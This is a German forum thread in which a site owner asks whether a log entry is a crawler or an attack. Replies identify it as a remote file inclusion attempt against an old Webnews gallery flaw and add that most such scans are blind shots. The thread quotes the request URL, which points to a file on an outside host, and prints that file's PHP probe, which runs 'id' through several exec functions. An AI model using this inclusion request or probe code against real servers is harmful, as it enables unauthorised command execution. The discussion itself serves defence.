suchmaschin oder hack?

[bleicher]

Grüße,
blöde frage, aber das fand ich im log meiner hp und fragte mich - wtf ist das?

am Thu , 15.05.08-12:29 von zu: /index.php?mode=gallery//parse/parser.php?WN_BASEDIR=http://82.146.53.155/~paulus/on.gif? IP: 201.238.195.13 hat libwww-perl/5.79 benutzt

war das ein seltsamer suchmashinen crawler oder versuchte da wer eine lücke zu finden?

MFG
bleicher

[Krueger]

Hallo,

war das ein seltsamer suchmashinen crawler oder versuchte da wer eine lücke zu finden?

Laut google wohl eher letzteres. Möglicherweise versucht da jemand über eine uralte und hoffentlich mittlerweile gefixte Lücke der Software "webnews" PHP-Code auf deinem Server auszuführen. Wenn ich den Code, der in der Datei on.gif steht, zu dieser frühen Stunde richtig interpretiere, dann wird da geprüft, ob über den Webserver Zugriff auf eine Shell möglich ist.

<?php  
echo "jimmywho";  
$cmd="id";  
$eseguicmd=ex($cmd);  
echo $eseguicmd;  
function ex($cfe){  
$res = '';  
if (!empty($cfe)){  
if(function_exists('exec')){  
@exec($cfe,$res);  
$res = join("\n",$res);  
}  
elseif(function_exists('shell_exec')){  
$res = @shell_exec($cfe);  
}  
elseif(function_exists('system')){  
@ob_start();  
@system($cfe);  
$res = @ob_get_contents();  
@ob_end_clean();  
}  
elseif(function_exists('passthru')){  
@ob_start();  
@passthru($cfe);  
$res = @ob_get_contents();  
@ob_end_clean();  
}  
elseif(@is_resource($f = @popen($cfe,"r"))){  
$res = "";  
while(!@feof($f)) { $res .= @fread($f,1024); }  
@pclose($f);  
}}  
return $res;  
}  
exit; 

Gruß

Krueger

[bleicher]

Grüße,
danke für die antwort -
aber seltsam - da ich kein webnews hatte (warum dann der versuch?).. aber das heisst dann wohl auch, dass diese exploits unwirksam sind?
hofentlich - selbstgeschrieben cms müssen ja irgendein vorteil haben ;P !?
MFG
bleicher

[Krueger]

Hallo,

(warum dann der versuch?)

Weil der Schadcode über ein offenbar defektes Gallery-Modul eingegeben wurde. ?mode=gallery gibt es auch auf deiner Seite. Über eine Google-Abfrage haben sich die "Hacker" wohl auch die möglichen Ziele für ihren Angriff rausgesucht.

Gruß

Krueger

[Ingo Turski]

Hi,

Über eine Google-Abfrage haben sich die "Hacker" wohl auch die möglichen Ziele für ihren Angriff rausgesucht.

vermutlich nicht, sondern nur ein Schuss ins Blaue. Auf meiner Seite läuft nicht mal PHP und ich registriere in meinen Logs auch diverse Hackversuche.

freundliche Grüße
Ingo

[Multi]

vermutlich nicht, sondern nur ein Schuss ins Blaue. Auf meiner Seite läuft nicht mal PHP und ich registriere in meinen Logs auch diverse Hackversuche.

Die meisten solcher Angriffe sind schüsse ins Blaue. Ich hab immer noch regelmässig Angriffe auf einen IIS, obwohl ich noch nie einen Windowsserver hatte.

Meist Scriptkiddies, die eine IP-Range angeben und dann Stolz sind, einen Server "gehackt" zu haben.